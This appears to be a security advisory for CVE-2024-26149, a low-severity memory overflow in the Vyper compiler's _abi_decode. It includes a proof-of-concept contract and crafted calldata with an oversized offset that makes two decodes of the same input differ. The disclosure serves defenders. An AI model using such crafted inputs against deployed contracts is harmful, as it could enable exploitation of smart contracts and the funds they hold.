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Advisory Published
CVE Published

CVE-2024-26149: Vyper _abi_decode Memory Overflow

First published: Mon Feb 26 2024(Updated: )

## Summary If an excessively large value is specified as the starting index for an array in `_abi_decode`, it can cause the read position to overflow. This results in the decoding of values outside the intended array bounds, potentially leading to bugs in contracts that use arrays within `_abi_decode`. The advisory has been assigned low severity, because it is only observable if there is a memory write between two invocations of `abi_decode` on the same input. ## Proof of Concept ```vyper event Pwn: pass @external def f(x: Bytes[32 * 3]): a: Bytes[32] = b"foo" y: Bytes[32 * 3] = x decoded_y1: Bytes[32] = _abi_decode(y, Bytes[32]) a = b"bar" decoded_y2: Bytes[32] = _abi_decode(y, Bytes[32]) if decoded_y1 != decoded_y2: log Pwn() ``` Sending the following calldata results in `Pwn` being emitted. ``` 0xd45754f8 0000000000000000000000000000000000000000000000000000000000000020 0000000000000000000000000000000000000000000000000000000000000060 ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa0 ```

Credit: security-advisories@github.com security-advisories@github.com

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